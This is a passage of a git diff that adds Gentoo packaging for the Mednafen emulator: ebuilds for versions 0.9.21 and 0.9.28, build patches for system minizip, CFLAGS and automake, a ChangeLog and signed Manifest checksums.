+DIST mednafen-0.9.28-wip.tar.bz2 3901828 SHA256 415ce0055c43560fb8e5b225108cfeb2fb2363841c39cc37eaa1c5e605675bde SHA512 4bc4347e31c7b4ddc10426ff422192706cf90a7fef10209c09880eef5e1b8f3c6820ffb975e68e030e26be0bb5999a299bd2d95cf52b036438c0499edb099033 WHIRLPOOL 458e2157b615f587087fd94a5a77f2d07eda9a5d2248304044178371e71b84069cb55b0d4d27dc92a2517b1bc98779bf675f237e5e428c747ca17c062822207c
+EBUILD mednafen-0.9.21.ebuild 1615 SHA256 2d49b91f03d5529426dc66635ae963a5c8b4301ad15f4204d35c6cb147f795b6 SHA512 250cf2b1177c8f16ed0a1a2933460c1b5ccbdb294d12cab4f69752b4edc6e9ed9620d06518b578303cee9a6632b6cd0d42417cd9d02fbaaf5837d991ac08b21e WHIRLPOOL 357b6799eeac0ab1c6e448a6c707c75089b98cc41d84726679ff74bd14125ea430c47e272aab14394c2c9f95253ba3d7412afbcd47da589f40d6acdfd9078eb9
+EBUILD mednafen-0.9.28.ebuild 1494 SHA256 83a1ec728f9a9373349bc779e417bd9275e94af32eb974fa3db661fb9b951eec SHA512 86b77d94cffcd1d77912e1f01cc99890bf72112184d3bd63bc2682e7254e0a4b468c53bdca2c99073b45a807b07d2494d58dedb9a9eca890a83e8c26297131e4 WHIRLPOOL 8a8bbb0430f1ab5a88fd4b2b27bff3e1e10504b68ccafdaef2032424a541501c323d9ce3f96c4712c933db3af01d8ae208d8f6b6058a34d34f840f1c9d758001
+MISC ChangeLog 6102 SHA256 e1603eedd07fa76daf4fa9016d994ac47038896c417434b79f10a3bd33dd6054 SHA512 f48b49101476d1494e3fd3b054d841cf1aea33f0643427d01ea0aedd2f3042586bb3960766dbe539a06c5c682255dc690ad1da0c2ddc7fdba0b2ca4eacdf39d0 WHIRLPOOL 8ecfa4c9ad3e836d61e00c2b39c94c6ff45ab29a48092fd5dc3a10104a6ac524e9ecb8ffd087ddedb5674caff16968374306a9bb2a913152d0996dcf39c54bde
+MISC metadata.xml 233 SHA256 7ef382bb262a87add83f9f888605564ba0996965964a80239613593302c76a05 SHA512 9190a76d53fe28e92c58ebf8e7308522b8697be30fe10d1d9eeae892b93e40106f9c8274c6fee82a2bfee7b7efdb398cf687fd5549080b80d8167f8bf27cc207 WHIRLPOOL 3d4911033f7d3d6ef8bbf6833dc076d90b642f32f454e13483cc0333137705026def3224531a234d696fc580fc9fbefe420fe1bcfb76ec44ba6f476d48c1f19a
+-----BEGIN PGP SIGNATURE-----
+Version: GnuPG v2.0.19 (GNU/Linux)
+
+iQEcBAEBCAAGBQJRe922AAoJEFpvPKfnPDWz/+8H/3w1nBbPYeKv++XS8+2dxHmW
+u7EQzjeJ5DYrWTmdkujQLpoA91r5jbwS5M0jwuHohgOVmxtlAOiAOs145qd1vjdY
+KWKmylc9Fx7mYIJY2LAg0IojosltQytUfAmAqDBpKk2VD+9pzMpIiy7Hqi188qdh
+68EKSIJ1VL3utznvCIqg9RybO8t7YfeH22m0g4Z1MzA3KdJ49vG51GMwLVgzGU89
+vxcwtNIcabiTPvGA+TkDvu1PLzCwWEGsjEINxfPRX1Jw5uKylDmHlBEqG08eHntN
+taiXRn8udIWffy4Ts7KjCc/JAX9hHOL7vG07RUsgH5CY7XOVsnQbUh6Q4oCS9lM=
+=jsNA
+-----END PGP SIGNATURE-----
diff --git a/games-emulation/mednafen/files/mednafen-0.9.21-zlib.patch b/games-emulation/mednafen/files/mednafen-0.9.21-zlib.patch
new file mode 100644
index 00000000..2eec3ed1
--- /dev/null
+++ b/games-emulation/mednafen/files/mednafen-0.9.21-zlib.patch
@@ -0,0 +1,27 @@
+--- src/file.cpp.old	2012-05-06 13:20:45.762299681 +0200
++++ src/file.cpp	2012-05-06 13:21:13.634342683 +0200
+@@ -33,7 +33,7 @@
+ 
+ 
+ #include <zlib.h>
+-#include "compress/unzip.h"
++#include <minizip/unzip.h>
+ 
+ #include "file.h"
+ #include "general.h"
+--- src/compress/Makefile.am.inc.old	2012-05-06 13:19:12.625839129 +0200
++++ src/compress/Makefile.am.inc	2012-05-06 13:19:30.012618340 +0200
+@@ -1 +1 @@
+-mednafen_SOURCES	+=	compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c compress/unzip.c
++mednafen_SOURCES	+=	compress/minilzo.c compress/quicklz.c compress/blz.cpp
+--- src/Makefile.am.old	2012-05-06 13:19:54.047930734 +0200
++++ src/Makefile.am	2012-05-06 13:20:26.888624869 +0200
+@@ -5,7 +5,7 @@
+ 
+ bin_PROGRAMS	=	mednafen
+ mednafen_SOURCES 	= 	debug.cpp error.cpp mempatcher.cpp settings.cpp endian.cpp mednafen.cpp file.cpp general.cpp md5.cpp memory.cpp netplay.cpp state.cpp movie.cpp player.cpp PSFLoader.cpp tests.cpp qtrecord.cpp cdplay.cpp okiadpcm.cpp math_ops.cpp FileWrapper.cpp Stream.cpp
+-mednafen_LDADD 		= 	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@
++mednafen_LDADD 		= 	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ -lminizip
+ mednafen_DEPENDENCIES	=	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a
+ 
+ SUBDIRS			+=	sexyal drivers
diff --git a/games-emulation/mednafen/files/mednafen-0.9.28-automake-1.13.patch b/games-emulation/mednafen/files/mednafen-0.9.28-automake-1.13.patch
new file mode 100644
index 00000000..14c69d94
--- /dev/null
+++ b/games-emulation/mednafen/files/mednafen-0.9.28-automake-1.13.patch
@@ -0,0 +1,11 @@
+--- mednafen-0.9.28-wip/mednafen/configure.ac
++++ mednafen-0.9.28-wip/mednafen/configure.ac
+@@ -13,7 +13,7 @@
+ AC_CANONICAL_TARGET
+ AM_INIT_AUTOMAKE([mednafen], $MEDNAFEN_VERSION)
+ m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES])
+-AM_CONFIG_HEADER([include/config.h:include/config.h.in])
++AC_CONFIG_HEADERS([include/config.h:include/config.h.in])
+ 
+ AC_PROG_CC
+ AC_PROG_CPP
diff --git a/games-emulation/mednafen/files/mednafen-0.9.28-cflags.patch b/games-emulation/mednafen/files/mednafen-0.9.28-cflags.patch
new file mode 100644
index 00000000..0fca1c61
--- /dev/null
+++ b/games-emulation/mednafen/files/mednafen-0.9.28-cflags.patch
@@ -0,0 +1,35 @@
+--- configure.ac.orig	2013-01-25 13:30:36.167253683 -0500
++++ configure.ac	2013-01-25 13:32:16.993678869 -0500
+@@ -90,21 +90,6 @@
+ 
+ dnl -fno-unit-at-a-time
+ 
+-OPTIMIZER_FLAGS=""
+-
+-dnl -ffast-math removed January 12, 2013.  Don't re-add it, nor any of its sub-options(ESPECIALLY not -funsafe-math-optimizations),
+-dnl it messes up certain code(NES resampler, for example) under certain conditions and alignments of the great celestial squid.
+-dnl
+-dnl In fact, let's explicitly disable it here with -fno-fast-math.
+-dnl
+-AX_CFLAGS_GCC_OPTION([-fno-fast-math], OPTIMIZER_FLAGS)
+-AX_CFLAGS_GCC_OPTION([-fno-unsafe-math-optimizations], OPTIMIZER_FLAGS)
+-
+-AX_CFLAGS_GCC_OPTION([-fomit-frame-pointer], OPTIMIZER_FLAGS)
+-AX_CFLAGS_GCC_OPTION([-finline-limit=6000], OPTIMIZER_FLAGS)
+-AX_CFLAGS_GCC_OPTION([--param large-function-growth=800], OPTIMIZER_FLAGS)
+-AX_CFLAGS_GCC_OPTION([--param inline-unit-growth=175], OPTIMIZER_FLAGS)
+-AX_CFLAGS_GCC_OPTION([--param max-inline-insns-single=10000], OPTIMIZER_FLAGS)
+ AX_NO_STRICT_OVERFLOW
+ 
+ 
+@@ -138,8 +123,8 @@
+ MDFN_COMPAT_FLAGS=""
+ AX_CFLAGS_GCC_OPTION([-fsigned-char], MDFN_COMPAT_FLAGS)
+ 
+-AC_SUBST([AM_CFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $OPTIMIZER_FLAGS $NO_STRICT_OVERFLOW_FLAGS")
+-AC_SUBST([AM_CXXFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $OPTIMIZER_FLAGS $NO_STRICT_OVERFLOW_FLAGS")
++AC_SUBST([AM_CFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $NO_STRICT_OVERFLOW_FLAGS")
++AC_SUBST([AM_CXXFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $NO_STRICT_OVERFLOW_FLAGS")
+ 
+ AM_CONDITIONAL(WANT_DEBUGGER, false)
+ 
diff --git a/games-emulation/mednafen/files/mednafen-0.9.28-zlib.patch b/games-emulation/mednafen/files/mednafen-0.9.28-zlib.patch
new file mode 100644
index 00000000..8ada2009
--- /dev/null
+++ b/games-emulation/mednafen/files/mednafen-0.9.28-zlib.patch
@@ -0,0 +1,30 @@
+diff -ru mednafen.orig/src/Makefile.am mednafen/src/Makefile.am
+--- mednafen.orig/src/Makefile.am	2013-01-12 08:41:03.000000000 -0500
++++ mednafen/src/Makefile.am	2013-01-25 13:17:44.351619447 -0500
+@@ -5,7 +5,7 @@
+ 
+ bin_PROGRAMS	=	mednafen
+ mednafen_SOURCES 	= 	debug.cpp error.cpp mempatcher.cpp settings.cpp endian.cpp mednafen.cpp file.cpp general.cpp md5.cpp memory.cpp netplay.cpp state.cpp movie.cpp player.cpp PSFLoader.cpp tests.cpp qtrecord.cpp cdplay.cpp okiadpcm.cpp FileWrapper.cpp Stream.cpp MemoryStream.cpp FileStream.cpp
+-mednafen_LDADD 		= 	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@
++mednafen_LDADD 		= 	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ -lminizip
+ mednafen_DEPENDENCIES	=	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a
+ 
+ SUBDIRS			+=	sexyal drivers
+diff -ru mednafen.orig/src/compress/Makefile.am.inc mednafen/src/compress/Makefile.am.inc
+--- mednafen.orig/src/compress/Makefile.am.inc	2010-12-18 04:03:19.000000000 -0500
++++ mednafen/src/compress/Makefile.am.inc	2013-01-25 13:17:19.289508092 -0500
+@@ -1 +1 @@
+-mednafen_SOURCES	+=	compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c compress/unzip.c
++mednafen_SOURCES	+=	compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c
+diff -ru mednafen.orig/src/file.cpp mednafen/src/file.cpp
+--- mednafen.orig/src/file.cpp	2012-02-03 17:04:45.000000000 -0500
++++ mednafen/src/file.cpp	2013-01-25 13:17:09.527854217 -0500
+@@ -33,7 +33,7 @@
+ 
+ 
+ #include <zlib.h>
+-#include "compress/unzip.h"
++#include <minizip/unzip.h>
+ 
+ #include "file.h"
+ #include "general.h"
diff --git a/games-emulation/mednafen/mednafen-0.9.21.ebuild b/games-emulation/mednafen/mednafen-0.9.21.ebuild
new file mode 100644
index 00000000..bd4c0a6f
--- /dev/null
+++ b/games-emulation/mednafen/mednafen-0.9.21.ebuild
@@ -0,0 +1,63 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/games-emulation/mednafen/mednafen-0.9.21.ebuild,v 1.3 2012/05/22 00:03:04 jdhore Exp $
+
+EAPI=2
+inherit autotools eutils games
+
+DESCRIPTION="An advanced NES, GB/GBC/GBA, TurboGrafx 16/CD, NGPC and Lynx emulator"
+HOMEPAGE="http://mednafen.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${P}-wip.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+IUSE="alsa altivec cjk debug jack nls"
+
+RDEPEND="virtual/opengl
+	media-libs/libsndfile
+	dev-libs/libcdio
+	media-libs/libsdl[audio,joystick,video]
+	media-libs/sdl-net
+	sys-libs/zlib[minizip]
+	alsa? ( media-libs/alsa-lib )
+	jack? ( media-sound/jack-audio-connection-kit )
+	nls? ( virtual/libintl )"
+DEPEND="${RDEPEND}
+	virtual/pkgconfig
+	nls? ( sys-devel/gettext )"
+
+S=${WORKDIR}/${PN}
+
+src_prepare() {
+	sed -i \
+		-e 's:$(datadir)/locale:/usr/share/locale:' \
+		$(find . -name 'Makefile.am') \
+		intl/Makefile.in \
+		|| die 'sed failed'
+	sed -i \
+		-e '/-ffast-math/d' \
+		-e '/^AX_CFLAGS_GCC_OPTION.*OPTIMIZER_FLAGS/d' \
+		configure.ac \
+		|| die "sed failed"
+	epatch "${FILESDIR}"/${P}-zlib.patch
+	eautoreconf
+}
+
+src_configure() {
+	egamesconf \
+		--disable-dependency-tracking \
+		$(use_enable alsa) \
+		$(use_enable altivec) \
+		$(use_enable cjk cjk-fonts) \
+		$(use_enable debug debugger) \
+		$(use_enable jack) \
+		$(use_enable nls)
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+	dodoc Documentation/cheats.txt AUTHORS ChangeLog TODO
+	dohtml Documentation/*
+	prepgamesdirs
+}
diff --git a/games-emulation/mednafen/mednafen-0.9.28.ebuild b/games-emulation/mednafen/mednafen-0.9.28.ebuild
new file mode 100644
index 00000000..7254ba09
--- /dev/null
+++ b/games-emulation/mednafen/mednafen-0.9.28.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/games-emulation/mednafen/mednafen-0.9.28.ebuild,v 1.5 2013/04/27 14:16:20 hasufell Exp $
+
+EAPI=5
+inherit autotools eutils games
+
+DESCRIPTION="An advanced NES, GB/GBC/GBA, TurboGrafx 16/CD, NGPC and Lynx emulator"
+HOMEPAGE="http://mednafen.sourceforge.net/"
+SRC_URI="mirror://sourceforge/mednafen/${P}-wip.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="alsa altivec cjk debugger jack nls"
+
+RDEPEND="virtual/opengl
+	media-libs/libsndfile
+	dev-libs/libcdio
+	media-libs/libsdl[audio,joystick,opengl,video]
+	media-libs/sdl-net
+	sys-libs/zlib[minizip]
+	alsa? ( media-libs/alsa-lib )
+	jack? ( media-sound/jack-audio-connection-kit )
+	nls? ( virtual/libintl )"
+DEPEND="${RDEPEND}
+	virtual/pkgconfig
+	nls? ( sys-devel/gettext )"
+
+S=${WORKDIR}/${PN}
+
+src_prepare() {
+	sed -i \
+		-e 's:$(datadir)/locale:/usr/share/locale:' \
+		$(find . -name Makefile.am) \
+		intl/Makefile.in || die
+	epatch \
+		"${FILESDIR}"/${P}-zlib.patch \
+		"${FILESDIR}"/${P}-cflags.patch \
+		"${FILESDIR}"/${P}-automake-1.13.patch
+	eautoreconf
+}
+
+src_configure() {
+	egamesconf \
+		$(use_enable alsa) \
+		$(use_enable altivec) \
+		$(use_enable cjk cjk-fonts) \
+		$(use_enable debugger) \
+		$(use_enable jack) \
+		$(use_enable nls)
+}
+
+src_install() {
+	emake DESTDIR="${D}" install
+	dodoc Documentation/cheats.txt ChangeLog TODO
+	dohtml Documentation/*
+	prepgamesdirs
+}
diff --git a/games-emulation/mednafen/mednafen/ChangeLog b/games-emulation/mednafen/mednafen/ChangeLog
new file mode 100644
index 00000000..7df2a391
--- /dev/null
+++ b/games-emulation/mednafen/mednafen/ChangeLog
@@ -0,0 +1,190 @@
+# ChangeLog for games-emulation/mednafen
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/games-emulation/mednafen/ChangeLog,v 1.44 2013/04/27 14:16:20 hasufell Exp $
+
+  27 Apr 2013; Julian Ospald <hasufell@gentoo.org> mednafen-0.9.28.ebuild,
+  +files/mednafen-0.9.28-automake-1.13.patch:
+  fix automake-1.13 build wrt #467498
+
+  14 Feb 2013; Michael Sterrett <mr_bones_@gentoo.org> mednafen-0.9.28.ebuild:
+  add opengl to libsdl use deps (bug #457606)
+
+*mednafen-0.9.28 (26 Jan 2013)
+
+  26 Jan 2013; Michael Sterrett <mr_bones_@gentoo.org>
+  +files/mednafen-0.9.28-cflags.patch, +files/mednafen-0.9.28-zlib.patch,
+  +mednafen-0.9.28.ebuild, metadata.xml:
+  version bump
+
+  13 Jun 2012; Michael Sterrett <mr_bones_@gentoo.org>
+  -files/mednafen-0.8.13.3-zlib-1.2.6.patch,
+  -files/mednafen-0.8.13.3-zlib.patch, -mednafen-0.8.13.3-r1.ebuild,
+  -mednafen-0.8.13.3.ebuild:
+  old
+
+  22 May 2012; Jeff Horelick <jdhore@gentoo.org> mednafen-0.9.21.ebuild:
+  marked x86 per bug 413831
+
+  20 May 2012; Agostino Sarubbo <ago@gentoo.org> mednafen-0.9.21.ebuild:
+  Stable for amd64, wrt bug #413831
+
+  19 May 2012; Samuli Suominen <ssuominen@gentoo.org> mednafen-0.8.13.3.ebuild:
+  Revert to ~ppc wrt #413831 pending on user request for stabilization
+
+*mednafen-0.9.21 (06 May 2012)
+
+  06 May 2012; Tupone Alfredo <tupone@gentoo.org> +mednafen-0.9.21.ebuild,
+  +files/mednafen-0.9.21-zlib.patch:
+  Version bump to 0.9.21 Bug #414597 by Tatsh
+
+  04 May 2012; Jeff Horelick <jdhore@gentoo.org> mednafen-0.8.13.3.ebuild,
+  mednafen-0.8.13.3-r1.ebuild:
+  dev-util/pkgconfig -> virtual/pkgconfig
+
+  18 Feb 2012; Tim Harder <radhermit@gentoo.org> mednafen-0.8.13.3-r1.ebuild,
+  +files/mednafen-0.8.13.3-zlib-1.2.6.patch:
+  Fix build with zlib-1.2.6 (bug #403483).
+
+*mednafen-0.8.13.3-r1 (14 Dec 2011)
+
+  14 Dec 2011; Tupone Alfredo <tupone@gentoo.org> +mednafen-0.8.13.3-r1.ebuild,
+  +files/mednafen-0.8.13.3-zlib.patch:
+  Build with latest zlib. Bug #387821 by Diego Elio Pettenò
+
+  15 Jan 2011; Markus Meier <maekke@gentoo.org> mednafen-0.8.13.3.ebuild:
+  x86 stable, bug #351332
+
+  12 Jan 2011; Markos Chandras <hwoarang@gentoo.org> mednafen-0.8.13.3.ebuild:
+  Stable on amd64 wrt bug #351332
+
+  11 Jan 2011; Brent Baude <ranger@gentoo.org> mednafen-0.8.13.3.ebuild:
+  Marking mednafen-0.8.13.3 ppc for bug 351332
+
+  10 Dec 2010; Michael Sterrett <mr_bones_@gentoo.org>
+  mednafen-0.8.13.3.ebuild:
+  needs libsdl[joystick] (bug #348364)
+
+*mednafen-0.8.13.3 (06 Dec 2010)
+
+  06 Dec 2010; Hanno Boeck <hanno@gentoo.org> +mednafen-0.8.13.3.ebuild:
+  Version bump, gcc patch got merged upstream.
+
+  25 Sep 2010; Markus Meier <maekke@gentoo.org> mednafen-0.8.13.ebuild:
+  x86 stable, bug #337536
+
+  21 Sep 2010; Markos Chandras <hwoarang@gentoo.org> mednafen-0.8.13.ebuild:
+  Stable on amd64 wrt bug #337536
+
+  12 Aug 2010; Michael Sterrett <mr_bones_@gentoo.org>
+  mednafen-0.8.13.ebuild:
+  use deps for libsdl; add zlib dep; only pass c++ flags to g++
+
+  04 Jul 2010; Hanno Boeck <hanno@gentoo.org> mednafen-0.8.13.ebuild,
+  +files/mednafen-0.8.13-gcc45.patch:
+  Re-add gcc 4.5 patch.
+
+*mednafen-0.8.13 (02 Jul 2010)
+
+  02 Jul 2010; Tupone Alfredo <tupone@gentoo.org> +mednafen-0.8.13.ebuild:
+  Version bump to 0.8.13 Bug #326141 by Sergey Kondakov
+
+  24 May 2010; Tupone Alfredo <tupone@gentoo.org> mednafen-0.8.12.ebuild,
+  +files/mednafen-0.8.12-gcc45.patch:
+  Build with gcc-4.5 Bug #321009 by flameeyes@gentoo.org
+
+  23 May 2010; Pacho Ramos <pacho@gentoo.org> mednafen-0.8.12.ebuild:
+  stable amd64, bug 312535
+
+  21 Nov 2009; Markus Meier <maekke@gentoo.org> mednafen-0.8.12.ebuild:
+  x86 stable, bug #288950
+
+*mednafen-0.8.12 (12 Jul 2009)
+
+  12 Jul 2009; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.12.ebuild:
+  version bump
+
+  17 Jun 2009; Tristan Heaven <nyhm@gentoo.org> mednafen-0.8.11.ebuild,
+  +files/mednafen-0.8.11-glibc2.10.patch:
+  Fix building with glibc-2.10, bug #273590
+
+*mednafen-0.8.11 (15 Apr 2009)
+
+  15 Apr 2009; Hanno Boeck <hanno@gentoo.org> +mednafen-0.8.11.ebuild:
+  Version bump.
+
+*mednafen-0.8.10 (30 Jan 2009)
+
+  30 Jan 2009; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.10.ebuild:
+  version bump
+
+  24 Jul 2008; Raúl Porcel <armin76@gentoo.org> mednafen-0.8.9.ebuild:
+  x86 stable wrt #231880
+
+*mednafen-0.8.9 (20 Jun 2008)
+
+  20 Jun 2008; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.9.ebuild:
+  version bump (bug #228623)
+
+*mednafen-0.8.8 (22 Apr 2008)
+
+  22 Apr 2008; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.8.ebuild:
+  version bump
+
+*mednafen-0.8.7 (07 Jan 2008)
+
+  07 Jan 2008; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.7.ebuild:
+  version bump
+
+*mednafen-0.8.5 (28 Nov 2007)
+
+  28 Nov 2007; Michael Sterrett <mr_bones_@gentoo.org>
+  -mednafen-0.7.2.ebuild, -mednafen-0.8.1.ebuild, -mednafen-0.8.4.ebuild,
+  +mednafen-0.8.5.ebuild:
+  version bump (bug #200666); clean out old ebuilds
+
+*mednafen-0.8.4 (14 Nov 2007)
+
+  14 Nov 2007; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.4.ebuild:
+  version bump
+
+*mednafen-0.8.1 (04 Jul 2007)
+
+  04 Jul 2007; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.1.ebuild:
+  version bump (bug #184151)
+
+*mednafen-0.7.2 (12 Feb 2007)
+
+  12 Feb 2007; Tristan Heaven <nyhm@gentoo.org> +mednafen-0.7.2.ebuild:
+  Version bump
+
+*mednafen-0.7.1 (25 Dec 2006)
+
+  25 Dec 2006; Tristan Heaven <nyhm@gentoo.org> +mednafen-0.7.1.ebuild:
+  Version bump by Kai, bug #158901
+
+*mednafen-0.6.5 (29 Sep 2006)
+
+  29 Sep 2006; Tristan Heaven <nyhm@gentoo.org> +mednafen-0.6.5.ebuild:
+  Version bump, bug #146371
+
+  24 May 2006; Joseph Jezak <josejx@gentoo.org> mednafen-0.6.1.ebuild:
+  Marked ~ppc for bug #133867.
+
+  20 May 2006; Joshua Jackson <tsunam@gentoo.org> mednafen-0.6.1.ebuild:
+  Marking ~x86, as testing is needed before going x86
+
+  20 May 2006; Jon Hood <squinky86@gentoo.org> mednafen-0.6.1.ebuild:
+  Add ~amd64, #133753.
+
+*mednafen-0.6.1 (19 May 2006)
+
+  19 May 2006; Michael Sterrett <mr_bones_@gentoo.org> +metadata.xml,
+  +mednafen-0.6.1.ebuild:
+  initial commit - ebuild submitted by Kai via bug #110044
diff --git a/games-emulation/mednafen/mednafen/Manifest b/games-emulation/mednafen/mednafen/Manifest
new file mode 100644
index 00000000..59d7326c
--- /dev/null
+++ b/games-emulation/mednafen/mednafen/Manifest
@@ -0,0 +1,24 @@
+-----BEGIN PGP SIGNED MESSAGE-----
+Hash: SHA256
+
+AUX mednafen-0.9.21-zlib.patch 1323 SHA256 c5e959e46059d0902e2fffb17376df260d4656ed35f4d1761734aaabfb95cffd SHA512 bb21d2a9d03cf9214755bc1786ba8cf1adf410d1780fc074213cd5075bd479dbb4c70a676096e43f772bd9c2e69c9cdcfb8363ccd125c84750fb73c9c9a982cb WHIRLPOOL 0f2e49c3f1e8d24f6e25f2dc093cf03fbdba185bd9fc54fb7ed0a26c14461ac8810fd6ab9663d000ca5279a7b1968a26ab25da537651f53ccc1c610eb3640780
+AUX mednafen-0.9.28-automake-1.13.patch 372 SHA256 1cc28062d38a372ae2e2cbb56efdd5d0bfa60b83cc5c6ec5fb6adab0de7578e1 SHA512 79eecf9fce0d2da04fb05f4d1453ac5aafee24cc13126c5305a8e1beb14d548ccb1c19df9da5a6017c80433d955362aa39272382e34d55d73364a99f67529eda WHIRLPOOL dfaf51d0b21248e035084e73d89e82c7f1bcf6dc7a4f2a632312ca9640edc9f36801154b98e97b7374da93914529c267aba9985703a385d0d102e34f91cd79fb
+AUX mednafen-0.9.28-cflags.patch 1560 SHA256 404029dc11bc8d3271eb3d62a6949c719ab660af5098b8038d4dbba09c484b85 SHA512 658dceb99abe9093fdf0753779663a968986f578d4992865a767d5caf65ef20813080a0755f90ffe433df4f6981f43c449de30aa253a84db668b2582c063f1bf WHIRLPOOL 8a961ed0d49a85b2f9fd20cac40d6cc55859c9d2148f378d63a8693aa171bdcb4bb063760b2bc1daa302e1d68b7729f845428b655e313c984b62a8b42e209009
+AUX mednafen-0.9.28-zlib.patch 1628 SHA256 161bf6682de65caa0a2ffd52000244b3289e7c21454bd99952761d3ffdb75947 SHA512 71e9d67f3a2f9e4534c96cd856e68d6d163fc71de15b31ade139b3a3b09aeead29aad7acf053c01b37b9d139bcdeafb66c231cab370bae49d4ee95a02b2b6e73 WHIRLPOOL 006fb50fec95ea1fa067c399d9f23803372bb5e1d4e95a96c6a4fe34af424183b076f148234af47bb94d841a19e0b09ac0f19adf95f85aea9746be386c9072ce
+DIST mednafen-0.9.21-wip.tar.bz2 3770486 SHA256 2c1074337cedd61091b8695915d1bc7cf3f7ad5bbdda755e7b99e32834fc052d SHA512 381f7c5f15ec89bd2ee8cf8606da020c6f958737af355c996d3e42df4f1d392392828b1dcdff0103fedaa628873a3cdbdf7493b674192ba1baedde8da4410f2f WHIRLPOOL a3f392105e891925503000c65f9a3ad455591a4ac67603c27ed53c2151db2d9f9f63a8037c1456e80c8d915f7cd3333fc6b584eecf0684c8d0f006d99ed4d93e
+DIST mednafen-0.9.28-wip.tar.bz2 3901828 SHA256 415ce0055c43560fb8e5b225108cfeb2fb2363841c39cc37eaa1c5e605675bde SHA512 4bc4347e31c7b4ddc10426ff422192706cf90a7fef10209c09880eef5e1b8f3c6820ffb975e68e030e26be0bb5999a299bd2d95cf52b036438c0499edb099033 WHIRLPOOL 458e2157b615f587087fd94a5a77f2d07eda9a5d2248304044178371e71b84069cb55b0d4d27dc92a2517b1bc98779bf675f237e5e428c747ca17c062822207c
+EBUILD mednafen-0.9.21.ebuild 1615 SHA256 2d49b91f03d5529426dc66635ae963a5c8b4301ad15f4204d35c6cb147f795b6 SHA512 250cf2b1177c8f16ed0a1a2933460c1b5ccbdb294d12cab4f69752b4edc6e9ed9620d06518b578303cee9a6632b6cd0d42417cd9d02fbaaf5837d991ac08b21e WHIRLPOOL 357b6799eeac0ab1c6e448a6c707c75089b98cc41d84726679ff74bd14125ea430c47e272aab14394c2c9f95253ba3d7412afbcd47da589f40d6acdfd9078eb9
+EBUILD mednafen-0.9.28.ebuild 1494 SHA256 83a1ec728f9a9373349bc779e417bd9275e94af32eb974fa3db661fb9b951eec SHA512 86b77d94cffcd1d77912e1f01cc99890bf72112184d3bd63bc2682e7254e0a4b468c53bdca2c99073b45a807b07d2494d58dedb9a9eca890a83e8c26297131e4 WHIRLPOOL 8a8bbb0430f1ab5a88fd4b2b27bff3e1e10504b68ccafdaef2032424a541501c323d9ce3f96c4712c933db3af01d8ae208d8f6b6058a34d34f840f1c9d758001
+MISC ChangeLog 6102 SHA256 e1603eedd07fa76daf4fa9016d994ac47038896c417434b79f10a3bd33dd6054 SHA512 f48b49101476d1494e3fd3b054d841cf1aea33f0643427d01ea0aedd2f3042586bb3960766dbe539a06c5c682255dc690ad1da0c2ddc7fdba0b2ca4eacdf39d0 WHIRLPOOL 8ecfa4c9ad3e836d61e00c2b39c94c6ff45ab29a48092fd5dc3a10104a6ac524e9ecb8ffd087ddedb5674caff16968374306a9bb2a913152d0996dcf39c54bde
+MISC metadata.xml 233 SHA256 7ef382bb262a87add83f9f888605564ba0996965964a80239613593302c76a05 SHA512 9190a76d53fe28e92c58ebf8e7308522b8697be30fe10d1d9eeae892b93e40106f9c8274c6fee82a2bfee7b7efdb398cf687fd5549080b80d8167f8bf27cc207 WHIRLPOOL 3d4911033f7d3d6ef8bbf6833dc076d90b642f32f454e13483cc0333137705026def3224531a234d696fc580fc9fbefe420fe1bcfb76ec44ba6f476d48c1f19a
+-----BEGIN PGP SIGNATURE-----
+Version: GnuPG v2.0.19 (GNU/Linux)
+
+iQEcBAEBCAAGBQJRe922AAoJEFpvPKfnPDWz/+8H/3w1nBbPYeKv++XS8+2dxHmW
+u7EQzjeJ5DYrWTmdkujQLpoA91r5jbwS5M0jwuHohgOVmxtlAOiAOs145qd1vjdY
+KWKmylc9Fx7mYIJY2LAg0IojosltQytUfAmAqDBpKk2VD+9pzMpIiy7Hqi188qdh
+68EKSIJ1VL3utznvCIqg9RybO8t7YfeH22m0g4Z1MzA3KdJ49vG51GMwLVgzGU89
+vxcwtNIcabiTPvGA+TkDvu1PLzCwWEGsjEINxfPRX1Jw5uKylDmHlBEqG08eHntN
+taiXRn8udIWffy4Ts7KjCc/JAX9hHOL7vG07RUsgH5CY7XOVsnQbUh6Q4oCS9lM=
+=jsNA
+-----END PGP SIGNATURE-----
